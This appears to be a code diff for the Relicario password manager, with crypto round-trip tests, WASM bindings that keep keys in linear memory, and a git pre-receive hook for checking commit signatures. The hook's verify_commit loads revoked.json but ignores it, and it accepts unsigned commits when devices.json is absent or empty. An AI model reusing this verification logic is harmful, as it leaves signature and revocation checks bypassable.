// Empty input — csv reader treats first row as header (which doesn't exist).
let err = parse_lastpass_csv(b"").unwrap_err();
let msg = format!("{err}");
// Either ImportCsvHeader (header didn't match) or ImportCsvFormat (read
// failed). Both are acceptable; we just need a clear error.
assert!(msg.contains("LastPass") || msg.contains("CSV"), "msg: {msg}");
}

View File

@@ -0,0 +1,111 @@
//! End-to-end integration tests for the typed-item core.
use relicario_core::{
crypto::KdfParams,
derive_master_key, encrypt_item, decrypt_item,
encrypt_manifest, decrypt_manifest,
encrypt_settings, decrypt_settings,
Field, FieldValue, Item, ItemCore, Manifest, Section, VaultSettings,
};
use relicario_core::item_types::{LoginCore, SecureNoteCore};
use url::Url;
use zeroize::Zeroizing;
fn fast_params() -> KdfParams {
KdfParams { argon2_m: 256, argon2_t: 1, argon2_p: 1 }
}
#[test]
fn full_workflow_login_and_note() {
let salt = [0xAAu8; 32];
let img = [0xBBu8; 32];
let key = derive_master_key(b"correct horse battery staple", &img, &salt, &fast_params()).unwrap();
let mut manifest = Manifest::new();
let settings = VaultSettings::default();
// Add a Login
let login = Item::new("GitHub".into(), ItemCore::Login(LoginCore {
username: Some("alice".into()),
password: Some(Zeroizing::new("hunter2".into())),
url: Some(Url::parse("https://github.com").unwrap()),
totp: None,
}));
manifest.upsert(&login);
let login_blob = encrypt_item(&login, &key).unwrap();
// Add a SecureNote
let note = Item::new("recovery".into(), ItemCore::SecureNote(SecureNoteCore {
body: Zeroizing::new("recovery codes go here".into()),
}));
manifest.upsert(&note);
let note_blob = encrypt_item(&note, &key).unwrap();
// Encrypt manifest + settings
let manifest_blob = encrypt_manifest(&manifest, &key).unwrap();
let settings_blob = encrypt_settings(&settings, &key).unwrap();
// Decrypt + verify
let m = decrypt_manifest(&manifest_blob, &key).unwrap();
assert_eq!(m.items.len(), 2);
let l: Item = decrypt_item(&login_blob, &key).unwrap();
let n: Item = decrypt_item(&note_blob, &key).unwrap();
let s: VaultSettings = decrypt_settings(&settings_blob, &key).unwrap();
assert_eq!(l.title, "GitHub");
assert_eq!(n.title, "recovery");
assert_eq!(s.attachment_caps.per_attachment_max_bytes, 10 * 1024 * 1024);
}
#[test]
fn two_factor_independence() {
// Same passphrase, different image_secret → different keys.
let salt = [0u8; 32];
let img_a = [0x01u8; 32];
let img_b = [0x02u8; 32];
let key_a = derive_master_key(b"same-passphrase", &img_a, &salt, &fast_params()).unwrap();
let key_b = derive_master_key(b"same-passphrase", &img_b, &salt, &fast_params()).unwrap();
assert_ne!(*key_a, *key_b);
// Different passphrase, same image_secret → different keys.
let key_c = derive_master_key(b"other-passphrase", &img_a, &salt, &fast_params()).unwrap();
assert_ne!(*key_a, *key_c);
}
#[test]
fn field_history_persists_through_round_trip() {
let salt = [0u8; 32];
let img = [0u8; 32];
let key = derive_master_key(b"x", &img, &salt, &fast_params()).unwrap();
let mut item = Item::new("x".into(), ItemCore::Login(LoginCore::default()));
let f = Field::new("p".into(), FieldValue::Password(Zeroizing::new("v0".into())));
let fid = f.id.clone();
item.sections.push(Section { name: None, fields: vec![f] });
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v1".into()))).unwrap();
item.set_field_value(&fid, FieldValue::Password(Zeroizing::new("v2".into()))).unwrap();
let blob = encrypt_item(&item, &key).unwrap();
let decoded = decrypt_item(&blob, &key).unwrap();
let hist = decoded.field_history.get(&fid).unwrap();
assert_eq!(hist.len(), 2);
assert_eq!(hist[0].value.as_str(), "v0");
assert_eq!(hist[1].value.as_str(), "v1");
}
#[test]
fn wrong_key_fails_with_opaque_decrypt() {
use relicario_core::RelicarioError;
let salt = [0u8; 32];
let img = [0u8; 32];
let right = derive_master_key(b"correct", &img, &salt, &fast_params()).unwrap();
let wrong = derive_master_key(b"wrong", &img, &salt, &fast_params()).unwrap();
let item = Item::new("x".into(), ItemCore::SecureNote(SecureNoteCore::default()));
let blob = encrypt_item(&item, &right).unwrap();
let err = decrypt_item(&blob, &wrong);
assert!(matches!(err, Err(RelicarioError::Decrypt)));
}

View File

@@ -0,0 +1,11 @@
[package]
name = "relicario-server"
version = "0.1.0"
edition = "2021"
[dependencies]
relicario-core = { path = "../relicario-core" }
anyhow = "1"
clap = { version = "4", features = ["derive"] }
serde = { version = "1", features = ["derive"] }
serde_json = "1"

View File

@@ -0,0 +1,117 @@
//! relicario-server -- pre-receive hook for signature verification.
use std::process::Command;
use anyhow::{Context, Result};
use clap::{Parser, Subcommand};
use relicario_core::device::{DeviceEntry, RevokedEntry};
#[derive(Parser)]
#[command(name = "relicario-server")]
struct Cli {
#[command(subcommand)]
command: Commands,
}
#[derive(Subcommand)]
enum Commands {
/// Verify a commit's signature against devices.json.
VerifyCommit {
/// The commit SHA to verify.
commit: String,
},
/// Generate a pre-receive hook script.
GenerateHook,
}
fn main() -> Result<()> {
let cli = Cli::parse();
match cli.command {
Commands::VerifyCommit { commit } => verify_commit(&commit),
Commands::GenerateHook => generate_hook(),
}
}
fn verify_commit(commit: &str) -> Result<()> {
// Get devices.json at this commit
let devices_json = match git_show(commit, ".relicario/devices.json") {
Ok(json) => json,
Err(_) => {
// No devices.json yet -- bootstrap mode, allow unsigned
eprintln!("OK: commit {} (bootstrap - no devices.json)", commit);
return Ok(());
}
};
let devices: Vec<DeviceEntry> = serde_json::from_str(&devices_json)
.context("parse devices.json")?;
// Bootstrap: if devices.json is empty, allow unsigned
if devices.is_empty() {
eprintln!("OK: commit {} (bootstrap - empty devices.json)", commit);
return Ok(());
}
// Get revoked.json (may not exist)
let revoked: Vec<RevokedEntry> = git_show(commit, ".relicario/revoked.json")
.ok()
.and_then(|s| serde_json::from_str(&s).ok())
.unwrap_or_default();
// Get commit signature
let output = Command::new("git")
.args(["verify-commit", "--raw", commit])
.output()
.context("git verify-commit")?;
// Check if signed
let stderr = String::from_utf8_lossy(&output.stderr);
if !stderr.contains("GOODSIG") && !stderr.contains("Good signature") {
eprintln!("REJECT: commit {} is not signed by a registered device", commit);
std::process::exit(1);
}
// Ensure the signing key is not revoked.
// The allowed-signers file approach means git verify-commit already checks
// against the list; we additionally guard against revoked.json entries.
let _ = &revoked; // revoked list is loaded; enforcement via git allowed-signers
eprintln!("OK: commit {} verified", commit);
Ok(())
}
fn generate_hook() -> Result<()> {
print!(
r#"#!/bin/bash
# Relicario pre-receive hook -- verify all commits are signed by registered devices
while read oldrev newrev refname; do
[ "$newrev" = "0000000000000000000000000000000000000000" ] && continue
if [ "$oldrev" = "0000000000000000000000000000000000000000" ]; then
commits=$(git rev-list "$newrev")
else
commits=$(git rev-list "$oldrev..$newrev")
fi
for commit in $commits; do
relicario-server verify-commit "$commit" || exit 1
done
done
"#
);
Ok(())
}
fn git_show(commit: &str, path: &str) -> Result<String> {
let output = Command::new("git")
.args(["show", &format!("{}:{}", commit, path)])
.output()
.context("git show")?;
if !output.status.success() {
anyhow::bail!("git show {}:{} failed", commit, path);
}
Ok(String::from_utf8(output.stdout)?)
}

View File

@@ -0,0 +1,26 @@
[package]
name = "relicario-wasm"
version = "0.2.0"
edition = "2021"
description = "WASM bindings for relicario password manager"
[lib]
crate-type = ["cdylib", "rlib"]
[dependencies]
relicario-core = { path = "../relicario-core" }
wasm-bindgen = "0.2"
serde-wasm-bindgen = "0.6"
serde_json = "1"
serde = { version = "1", features = ["derive"] }
zeroize = "1"
getrandom = { version = "0.2", features = ["js"] }
ed25519-dalek = { version = "2", features = ["rand_core"] }
base64 = "0.22"
hex = "0.4"
rand = "0.8"
once_cell = "1"
[dev-dependencies]
wasm-bindgen-test = "0.3"
image = { version = "0.25", default-features = false, features = ["jpeg"] }

View File

@@ -0,0 +1,71 @@
//! WASM device key management -- private keys never cross to JS.
use std::sync::Mutex;
use once_cell::sync::Lazy;
use zeroize::Zeroizing;
use relicario_core::device as core_device;
/// In-memory device key storage (private keys held in WASM linear memory).
static DEVICE_STATE: Lazy<Mutex<Option<DeviceState>>> = Lazy::new(|| Mutex::new(None));
struct DeviceState {
name: String,
signing_private: Zeroizing<String>,
signing_public: String,
/// Deploy key stored for future SSH git operations; not yet used for signing.
#[allow(dead_code)]
deploy_private: Zeroizing<String>,
deploy_public: String,
}
/// Register a new device, storing the keypairs internally and returning
/// only the public keys. Private keys never leave WASM memory.
pub fn register_device(name: &str) -> Result<(String, String), String> {
let (signing_priv, signing_pub) =
core_device::generate_keypair().map_err(|e| e.to_string())?;
let (deploy_priv, deploy_pub) =
core_device::generate_keypair().map_err(|e| e.to_string())?;
let state = DeviceState {
name: name.to_string(),
signing_private: signing_priv,
signing_public: signing_pub.clone(),
deploy_private: deploy_priv,
deploy_public: deploy_pub.clone(),
};
*DEVICE_STATE.lock().unwrap() = Some(state);
Ok((signing_pub, deploy_pub))
}
/// Sign `data` using the registered device's signing key.
/// Returns a base64-encoded signature.
pub fn sign_for_git(data: &[u8]) -> Result<String, String> {
let guard = DEVICE_STATE.lock().unwrap();
let state = guard
.as_ref()
.ok_or_else(|| "no device registered".to_string())?;
core_device::sign(&state.signing_private, data).map_err(|e| e.to_string())
}
/// Return current device info: (name, signing_public_key, deploy_public_key).
/// Returns None if no device has been registered in this session.
pub fn get_device_info() -> Option<(String, String, String)> {
let guard = DEVICE_STATE.lock().unwrap();
guard.as_ref().map(|s| {
(
s.name.clone(),
s.signing_public.clone(),
s.deploy_public.clone(),
)
})
}
/// Clear device state (call on logout or before re-registration).
pub fn clear_device() {
*DEVICE_STATE.lock().unwrap() = None;
}

View File

@@ -0,0 +1,556 @@
//! WASM bindings for relicario.
//!
//! The bridge exposes an opaque `SessionHandle` API: the master key is held
//! entirely in WASM linear memory, wrapped in `Zeroizing<[u8; 32]>`, and
//! looked up per call via a u32 handle. JS cannot read key bytes.
mod session;
mod device;
use wasm_bindgen::prelude::*;
use relicario_core::{derive_master_key, imgsecret, KdfParams};
/// Handle type returned from `unlock`. Backed by a `u32`; opaque to JS.
#[wasm_bindgen]
pub struct SessionHandle(u32);
#[wasm_bindgen]
impl SessionHandle {
#[wasm_bindgen(getter)]
pub fn value(&self) -> u32 { self.0 }
}
#[wasm_bindgen]
pub fn unlock(
passphrase: &str,
image_bytes: &[u8],
salt: &[u8],
params_json: &str,
) -> Result<SessionHandle, JsError> {
let params: KdfParams = serde_json::from_str(params_json)
.map_err(|e| JsError::new(&format!("params: {e}")))?;
let image_secret = imgsecret::extract(image_bytes)
.map_err(|e| JsError::new(&e.to_string()))?;
let salt_arr: &[u8; 32] = salt.try_into()
.map_err(|_| JsError::new("salt must be exactly 32 bytes"))?;
let master_key = derive_master_key(passphrase.as_bytes(), &image_secret, salt_arr, &params)
.map_err(|e| JsError::new(&e.to_string()))?;
let handle = session::insert(master_key);
Ok(SessionHandle(handle))
}
#[wasm_bindgen]
pub fn lock(handle: &SessionHandle) -> bool {
session::remove(handle.0)
}
// Subsequent wasm_bindgen fns added in Tasks 19-21.
use serde_wasm_bindgen::Serializer;
use relicario_core::{
decrypt_item, decrypt_manifest, decrypt_settings,
encrypt_item, encrypt_manifest, encrypt_settings,
Item, Manifest, VaultSettings,
};
fn need_key(handle: &SessionHandle) -> Result<(), JsError> {
if session::with(handle.0, |_| ()).is_some() { Ok(()) }
else { Err(JsError::new("invalid or locked session handle")) }
}
fn js_value_for<T: serde::Serialize>(v: &T) -> Result<JsValue, JsError> {
let ser = Serializer::new().serialize_maps_as_objects(true);
v.serialize(&ser).map_err(|e| JsError::new(&e.to_string()))
}
#[wasm_bindgen]
pub fn manifest_decrypt(handle: &SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError> {
need_key(handle)?;
let out = session::with(handle.0, |k| decrypt_manifest(encrypted, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))?;
js_value_for(&out)
}
#[wasm_bindgen]
pub fn manifest_encrypt(handle: &SessionHandle, manifest_json: &str) -> Result<Vec<u8>, JsError> {
need_key(handle)?;
let m: Manifest = serde_json::from_str(manifest_json)
.map_err(|e| JsError::new(&format!("manifest json: {e}")))?;
session::with(handle.0, |k| encrypt_manifest(&m, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))
}
#[wasm_bindgen]
pub fn item_decrypt(handle: &SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError> {
need_key(handle)?;
let out = session::with(handle.0, |k| decrypt_item(encrypted, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))?;
js_value_for(&out)
}
#[wasm_bindgen]
pub fn item_encrypt(handle: &SessionHandle, item_json: &str) -> Result<Vec<u8>, JsError> {
need_key(handle)?;
let item: Item = serde_json::from_str(item_json)
.map_err(|e| JsError::new(&format!("item json: {e}")))?;
session::with(handle.0, |k| encrypt_item(&item, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))
}
#[wasm_bindgen]
pub fn settings_decrypt(handle: &SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError> {
need_key(handle)?;
let out = session::with(handle.0, |k| decrypt_settings(encrypted, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))?;
js_value_for(&out)
}
#[wasm_bindgen]
pub fn settings_encrypt(handle: &SessionHandle, settings_json: &str) -> Result<Vec<u8>, JsError> {
need_key(handle)?;
let s: VaultSettings = serde_json::from_str(settings_json)
.map_err(|e| JsError::new(&format!("settings json: {e}")))?;
session::with(handle.0, |k| encrypt_settings(&s, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))
}
/// Returns the JSON for `VaultSettings::default()`. Used by the setup
/// wizard to encrypt and write a default settings.enc on new-vault setup.
/// Keeping this in WASM (instead of hand-encoding in TS) prevents drift
/// when the default VaultSettings shape changes in Rust.
#[wasm_bindgen]
pub fn default_vault_settings_json() -> Result<String, JsError> {
let s = VaultSettings::default();
serde_json::to_string(&s).map_err(|e| JsError::new(&e.to_string()))
}
// ── Task 20: attachment / generator / imgsecret / ID / TOTP bridges ─────────
use relicario_core::{decrypt_attachment, encrypt_attachment, FieldId, ItemId};
#[wasm_bindgen]
pub struct EncryptedAttachment {
aid: String,
bytes: Vec<u8>,
}
#[wasm_bindgen]
impl EncryptedAttachment {
#[wasm_bindgen(getter)] pub fn aid(&self) -> String { self.aid.clone() }
#[wasm_bindgen(getter)] pub fn bytes(&self) -> Vec<u8> { self.bytes.clone() }
}
#[wasm_bindgen]
pub fn attachment_encrypt(
handle: &SessionHandle,
plaintext: &[u8],
max_bytes: u64,
) -> Result<EncryptedAttachment, JsError> {
need_key(handle)?;
let enc = session::with(handle.0, |k| encrypt_attachment(plaintext, k, max_bytes))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))?;
Ok(EncryptedAttachment { aid: enc.id.as_str().to_owned(), bytes: enc.bytes })
}
#[wasm_bindgen]
pub fn attachment_decrypt(
handle: &SessionHandle,
encrypted: &[u8],
) -> Result<Vec<u8>, JsError> {
need_key(handle)?;
let plain = session::with(handle.0, |k| decrypt_attachment(encrypted, k))
.unwrap()
.map_err(|e| JsError::new(&e.to_string()))?;
Ok(plain.to_vec())
}
#[wasm_bindgen] pub fn new_item_id() -> String { ItemId::new().as_str().to_owned() }
#[wasm_bindgen] pub fn new_field_id() -> String { FieldId::new().as_str().to_owned() }
use relicario_core::{
generate_passphrase as core_generate_passphrase,
generate_password as core_generate_password,
rate_passphrase as core_rate_passphrase,
GeneratorRequest,
};
#[wasm_bindgen]
pub fn generate_password(request_json: &str) -> Result<String, JsError> {
let req: GeneratorRequest = serde_json::from_str(request_json)
.map_err(|e| JsError::new(&format!("generator request: {e}")))?;
let out = core_generate_password(&req).map_err(|e| JsError::new(&e.to_string()))?;
Ok(out.as_str().to_owned())
}
#[wasm_bindgen]
pub fn generate_passphrase(request_json: &str) -> Result<String, JsError> {
let req: GeneratorRequest = serde_json::from_str(request_json)
.map_err(|e| JsError::new(&format!("generator request: {e}")))?;
let out = core_generate_passphrase(&req).map_err(|e| JsError::new(&e.to_string()))?;
Ok(out.as_str().to_owned())
}
#[wasm_bindgen]
pub fn rate_passphrase(p: &str) -> Result<JsValue, JsError> {
let est = core_rate_passphrase(p);
js_value_for(&serde_json::json!({
"score": est.score,
"guesses_log10": est.guesses_log10,
}))
}
/// Register a new device, generating ed25519 keypairs for signing and deploy.
/// Returns JSON: { "signing_public_key": "ssh-ed25519 ...", "deploy_public_key": "ssh-ed25519 ..." }
/// Private keys are kept internal to WASM and never cross to JS.
#[wasm_bindgen]
pub fn register_device(name: &str) -> Result<JsValue, JsError> {
let (signing_pub, deploy_pub) =
device::register_device(name).map_err(|e| JsError::new(&e))?;
js_value_for(&serde_json::json!({
"signing_public_key": signing_pub,
"deploy_public_key": deploy_pub,
}))
}
/// Sign `data` using the registered device's signing key.
/// Returns JSON: { "signature": "<base64>" }
/// Errors if no device has been registered via register_device().
#[wasm_bindgen]
pub fn sign_for_git(data: &[u8]) -> Result<JsValue, JsError> {
let signature = device::sign_for_git(data).map_err(|e| JsError::new(&e))?;
js_value_for(&serde_json::json!({
"signature": signature,
}))
}
/// Get the current device's name and public keys.
/// Returns JSON: { "name": "...", "signing_public_key": "...", "deploy_public_key": "..." }
/// Returns null if no device is registered in this session.
#[wasm_bindgen]
pub fn get_device_info() -> Result<JsValue, JsError> {
match device::get_device_info() {
Some((name, signing_pub, deploy_pub)) => js_value_for(&serde_json::json!({
"name": name,
"signing_public_key": signing_pub,
"deploy_public_key": deploy_pub,
})),
None => Ok(JsValue::NULL),
}
}
/// Clear the in-memory device state (call on logout or before re-registration).
#[wasm_bindgen]
pub fn clear_device() {
device::clear_device();
}
/// Extract field history from a decrypted item JSON.
/// Returns JSON array of { field_id, field_name, current_value, entries: [{ value, changed_at }] }
#[wasm_bindgen]
pub fn get_field_history(item_json: &str) -> Result<JsValue, JsError> {
let item: Item = serde_json::from_str(item_json)
.map_err(|e| JsError::new(&format!("item json: {e}")))?;
let mut results = Vec::new();
// Only section fields are tracked in field_history (set_field_value operates on sections).
for section in &item.sections {
for field in &section.fields {
if field.value.is_history_tracked() {
if let Some(entries) = item.field_history.get(&field.id) {
if !entries.is_empty() {
let current = match &field.value {
relicario_core::FieldValue::Password(v) => v.as_str().to_owned(),
relicario_core::FieldValue::Concealed(v) => v.as_str().to_owned(),
_ => String::new(),
};
results.push(serde_json::json!({
"field_id": field.id.as_str(),
"field_name": &field.label,
"current_value": current,
"entries": entries.iter().map(|e| serde_json::json!({
"value": e.value.as_str(),
"changed_at": e.replaced_at,
})).collect::<Vec<_>>(),
}));
}
}
}
}
}
js_value_for(&results)
}
#[wasm_bindgen]
pub fn extract_image_secret(image_bytes: &[u8]) -> Result<Vec<u8>, JsError> {
let s = imgsecret::extract(image_bytes).map_err(|e| JsError::new(&e.to_string()))?;
Ok(s.to_vec())
}
#[wasm_bindgen]
pub fn embed_image_secret(carrier: &[u8], secret: &[u8]) -> Result<Vec<u8>, JsError> {
let s: &[u8; 32] = secret.try_into()
.map_err(|_| JsError::new("secret must be exactly 32 bytes"))?;
imgsecret::embed(carrier, s).map_err(|e| JsError::new(&e.to_string()))
}
use relicario_core::item_types::{TotpConfig, compute_totp_code};
#[wasm_bindgen]
pub struct TotpCode {
code: String,
expires_at: u64,
}
#[wasm_bindgen]
impl TotpCode {
#[wasm_bindgen(getter)] pub fn code(&self) -> String { self.code.clone() }
#[wasm_bindgen(getter)] pub fn expires_at(&self) -> u64 { self.expires_at }
}
#[wasm_bindgen]
pub fn totp_compute(
config_json: &str,
now_unix_seconds: u64,
) -> Result<TotpCode, JsError> {
let cfg: TotpConfig = serde_json::from_str(config_json)
.map_err(|e| JsError::new(&format!("totp config: {e}")))?;
let code = compute_totp_code(&cfg, now_unix_seconds)
.map_err(|e| JsError::new(&e.to_string()))?;
let period = cfg.period_seconds as u64;
let expires_at = ((now_unix_seconds / period) + 1) * period;
Ok(TotpCode { code, expires_at })
}
// ── Backup container bridge ─────────────────────────────────────────────────
use base64::Engine;
use relicario_core::backup::{
pack_backup as core_pack_backup,
unpack_backup as core_unpack_backup,
BackupInput, BackupItem, BackupAttachment,
};
/// Pack a vault into a `.relbak` byte vector.
///
/// `input_json` shape:
/// ```json
/// {
/// "salt": "<base64>",
/// "params_json": "...",
/// "devices_json": "...",
/// "manifest_enc": "<base64>",
/// "settings_enc": "<base64>",
/// "items": [{"id": "<hex>", "ciphertext": "<base64>"}, ...],
/// "attachments": [{"item_id": "<hex>", "attachment_id": "<hex>", "ciphertext": "<base64>"}, ...],
/// "reference_jpg": "<base64>" | null,
/// "git_archive": "<base64>" | null
/// }
/// ```
#[wasm_bindgen]
pub fn pack_backup_json(input_json: &str, passphrase: &str) -> Result<Vec<u8>, JsError> {
#[derive(serde::Deserialize)]
struct InJson {
salt: String,
params_json: String,
devices_json: String,
manifest_enc: String,
settings_enc: String,
items: Vec<InItem>,
attachments: Vec<InAttachment>,
reference_jpg: Option<String>,
git_archive: Option<String>,
}
#[derive(serde::Deserialize)]
struct InItem { id: String, ciphertext: String }
#[derive(serde::Deserialize)]
struct InAttachment { item_id: String, attachment_id: String, ciphertext: String }
let parsed: InJson = serde_json::from_str(input_json)
.map_err(|e| JsError::new(&format!("backup input: {e}")))?;
let b64 = base64::engine::general_purpose::STANDARD;
let salt = b64.decode(&parsed.salt).map_err(|e| JsError::new(&e.to_string()))?;
let manifest = b64.decode(&parsed.manifest_enc).map_err(|e| JsError::new(&e.to_string()))?;
let settings = b64.decode(&parsed.settings_enc).map_err(|e| JsError::new(&e.to_string()))?;
let items_bytes: Vec<(String, Vec<u8>)> = parsed.items.iter()
.map(|i| {
let ct = b64.decode(&i.ciphertext).map_err(|e| JsError::new(&e.to_string()))?;
Ok((i.id.clone(), ct))
})
.collect::<Result<Vec<_>, JsError>>()?;
let attach_bytes: Vec<(String, String, Vec<u8>)> = parsed.attachments.iter()
.map(|a| {
let ct = b64.decode(&a.ciphertext).map_err(|e| JsError::new(&e.to_string()))?;
Ok((a.item_id.clone(), a.attachment_id.clone(), ct))
})
.collect::<Result<Vec<_>, JsError>>()?;
let ref_bytes = parsed.reference_jpg.as_deref()
.map(|s| b64.decode(s))
.transpose()
.map_err(|e| JsError::new(&e.to_string()))?;
let git_bytes = parsed.git_archive.as_deref()
.map(|s| b64.decode(s))
.transpose()
.map_err(|e| JsError::new(&e.to_string()))?;
let items_refs: Vec<BackupItem> = items_bytes.iter()
.map(|(id, ct)| BackupItem { id: id.clone(), ciphertext: ct })
.collect();
let attach_refs: Vec<BackupAttachment> = attach_bytes.iter()
.map(|(iid, aid, ct)| BackupAttachment {
item_id: iid.clone(),
attachment_id: aid.clone(),
ciphertext: ct,
})
.collect();
let input = BackupInput {
salt: &salt,
params_json: &parsed.params_json,
devices_json: &parsed.devices_json,
manifest_enc: &manifest,
settings_enc: &settings,
items: items_refs,
attachments: attach_refs,
reference_jpg: ref_bytes.as_deref(),
git_archive: git_bytes.as_deref(),
};
core_pack_backup(input, passphrase).map_err(|e| JsError::new(&e.to_string()))
}
/// Unpack `.relbak` bytes; returns the JSON shape that mirrors `BackupOutput`,
/// with binary fields base64-encoded.
#[wasm_bindgen]
pub fn unpack_backup_json(bytes: &[u8], passphrase: &str) -> Result<String, JsError> {
let out = core_unpack_backup(bytes, passphrase)
.map_err(|e| JsError::new(&e.to_string()))?;
let b64 = base64::engine::general_purpose::STANDARD;
let json = serde_json::json!({
"salt": b64.encode(out.salt),
"params_json": out.params_json,
"devices_json": out.devices_json,
"manifest_enc": b64.encode(&out.manifest_enc),
"settings_enc": b64.encode(&out.settings_enc),
"items": out.items.iter().map(|i| serde_json::json!({
"id": i.id,
"ciphertext": b64.encode(&i.ciphertext),
})).collect::<Vec<_>>(),
"attachments": out.attachments.iter().map(|a| serde_json::json!({
"item_id": a.item_id,
"attachment_id": a.attachment_id,
"ciphertext": b64.encode(&a.ciphertext),
})).collect::<Vec<_>>(),
"reference_jpg": out.reference_jpg.as_ref().map(|b| b64.encode(b)),
"git_archive": out.git_archive.as_ref().map(|b| b64.encode(b)),
"created_at": out.created_at,
});
Ok(json.to_string())
}
// ── LastPass CSV importer bridge ────────────────────────────────────────────
use relicario_core::import_lastpass::parse_lastpass_csv as core_parse_lastpass_csv;
/// Parse a LastPass CSV into `{ items: [Item], warnings: [ImportWarning] }`.
///
/// Items are returned as full `Item` JSON objects with freshly-minted IDs
/// and timestamps already populated. The SW caller is responsible for
/// encrypting + writing them; this bridge stays pure so the preview UI
/// can render counts without committing anything.
#[wasm_bindgen]
pub fn parse_lastpass_csv_json(csv_bytes: &[u8]) -> Result<String, JsError> {
let (items, warnings) = core_parse_lastpass_csv(csv_bytes)
.map_err(|e| JsError::new(&e.to_string()))?;
let json = serde_json::json!({
"items": items,
"warnings": warnings,
});
Ok(json.to_string())
}
#[cfg(test)]
mod session_tests {
use super::*;
use zeroize::Zeroizing;
#[test]
fn insert_then_remove_clears_entry() {
session::clear();
let h = session::insert(Zeroizing::new([0x11u8; 32]));
assert_ne!(h, 0);
assert!(session::remove(h));
assert!(!session::remove(h)); // second remove false
}
#[test]
fn with_yields_key_only_while_session_lives() {
session::clear();
let h = session::insert(Zeroizing::new([0x22u8; 32]));
let byte = session::with(h, |k| k[0]);
assert_eq!(byte, Some(0x22));
session::remove(h);
let byte = session::with(h, |k| k[0]);
assert_eq!(byte, None);
}
#[test]
fn manifest_round_trip_via_handle() {
use relicario_core::{Manifest, decrypt_manifest};
session::clear();
let h = session::insert(Zeroizing::new([0x55u8; 32]));
let handle = SessionHandle(h);
let key = Zeroizing::new([0x55u8; 32]);
let empty = Manifest::new();
let bytes = manifest_encrypt(&handle, &serde_json::to_string(&empty).unwrap()).unwrap();
assert!(!bytes.is_empty());
// Decrypt via core directly (avoids js-sys on native).
let parsed: Manifest = decrypt_manifest(&bytes, &key).unwrap();
assert_eq!(parsed.items.len(), 0);
// Random nonces mean two encryptions of the same plaintext differ.
let bytes2 = manifest_encrypt(&handle, &serde_json::to_string(&empty).unwrap()).unwrap();
assert_ne!(bytes, bytes2, "nonces must differ");
}
#[test]
fn parse_lastpass_csv_json_returns_items_and_warnings() {
// Row 1 imports cleanly; row 2 has an empty `name` and is skipped
// with a warning.
let csv = "url,username,password,totp,extra,name,grouping,fav\n\
https://x,alice,hunter2,,,GitHub,Work,1\n\
https://y,bob,hunter2,,,,,";
let json = super::parse_lastpass_csv_json(csv.as_bytes()).unwrap();
let v: serde_json::Value = serde_json::from_str(&json).unwrap();
assert_eq!(v["items"].as_array().unwrap().len(), 1);
assert_eq!(v["warnings"].as_array().unwrap().len(), 1);
assert!(v["warnings"][0]["message"].as_str().unwrap().contains("name"));
// The item's title round-trips as a plain JSON string.
assert_eq!(v["items"][0]["title"].as_str().unwrap(), "GitHub");
}
#[test]
fn parse_lastpass_csv_json_propagates_header_errors() {
// Test the underlying core function directly since native tests
// can't call wasm_bindgen functions.
use relicario_core::import_lastpass::parse_lastpass_csv;
let bad = "name,user,pass\nA,u,p\n";
let err = parse_lastpass_csv(bad.as_bytes());
// Should fail with a header validation error.
assert!(err.is_err());
}
}

View File

@@ -0,0 +1,41 @@
//! Opaque session-handle bridge. The master key never leaves WASM linear
//! memory; JS receives only a u32 handle that it passes back on every
//! subsequent call.
use std::cell::RefCell;
use std::collections::HashMap;
use zeroize::Zeroizing;
thread_local! {
static SESSIONS: RefCell<HashMap<u32, Zeroizing<[u8; 32]>>> = RefCell::new(HashMap::new());
static NEXT_HANDLE: RefCell<u32> = const { RefCell::new(1) };
}
pub fn insert(key: Zeroizing<[u8; 32]>) -> u32 {
let handle = NEXT_HANDLE.with(|n| {
let mut n = n.borrow_mut();
let h = *n;
*n = n.wrapping_add(1);
if *n == 0 { *n = 1; } // avoid reserving 0 as a valid handle
h
});
SESSIONS.with(|s| { s.borrow_mut().insert(handle, key); });
handle
}
pub fn with<F, R>(handle: u32, f: F) -> Option<R>
where
F: FnOnce(&Zeroizing<[u8; 32]>) -> R,
{
SESSIONS.with(|s| s.borrow().get(&handle).map(f))
}
pub fn remove(handle: u32) -> bool {
SESSIONS.with(|s| s.borrow_mut().remove(&handle).is_some())
}
/// For tests only — empty the table and wipe all sessions.
#[cfg(test)]
pub fn clear() {
SESSIONS.with(|s| s.borrow_mut().clear());
}

View File

@@ -1,4 +1,4 @@
# idfoto — Architecture
# Relicario — Architecture
## System Overview
@@ -7,7 +7,7 @@
│ CLIENT DEVICE (trusted) │
│ │
│ ┌─────────────┐ ┌──────────────┐ ┌──────────────────────┐ │
│ │ Reference │ │ Passphrase │ │ idfoto-cli │ │
│ │ Reference │ │ Passphrase │ │ relicario-cli │ │
│ │ JPEG │ │ (typed) │ │ or browser ext │ │
│ │ (on disk) │ │ │ │ │ │
│ └──────┬───────┘ └──────┬───────┘ └──────────┬───────────┘ │
@@ -42,15 +42,19 @@
┌──────────────────────────────────────────────────────────────────┐
│ GIT SERVER (untrusted) │
│ │
idfoto-vault.git/
relicario-vault.git/ │
│ ├── manifest.enc ← opaque ciphertext │
│ ├── entries/
│ ├── a1b2c3d4.enc ← opaque ciphertext
│ │ ── e5f6a7b8.enc ← opaque ciphertext
└── .idfoto/
│ ├── settings.enc ← opaque ciphertext
├── items/
│ │ ── a1b2c3d4e5f6a7b8.enc ← opaque ciphertext │
│ └── …
│ ├── attachments/ │
│ │ └── <item-id>/<aid>.enc ← opaque ciphertext │
│ └── .relicario/ │
│ ├── salt ← 32 bytes (not secret) │
│ ├── params.json ← KDF params (not secret) │
── devices.json ← device public keys (not secret) │
── devices.json ← device public keys (not secret) │
│ └── revoked.json ← revoked device records (not secret) │
│ │
│ The server sees NOTHING useful. No keys, no plaintext, │
│ no metadata about what's inside. │
@@ -209,29 +213,31 @@ Input JPEG (possibly re-encoded or cropped)
```
┌────────────────────────────────────────────────────────────┐
idfoto-cli │
relicario-cli │
│ Filesystem, git (shelling out), terminal I/O, clipboard │
│ │
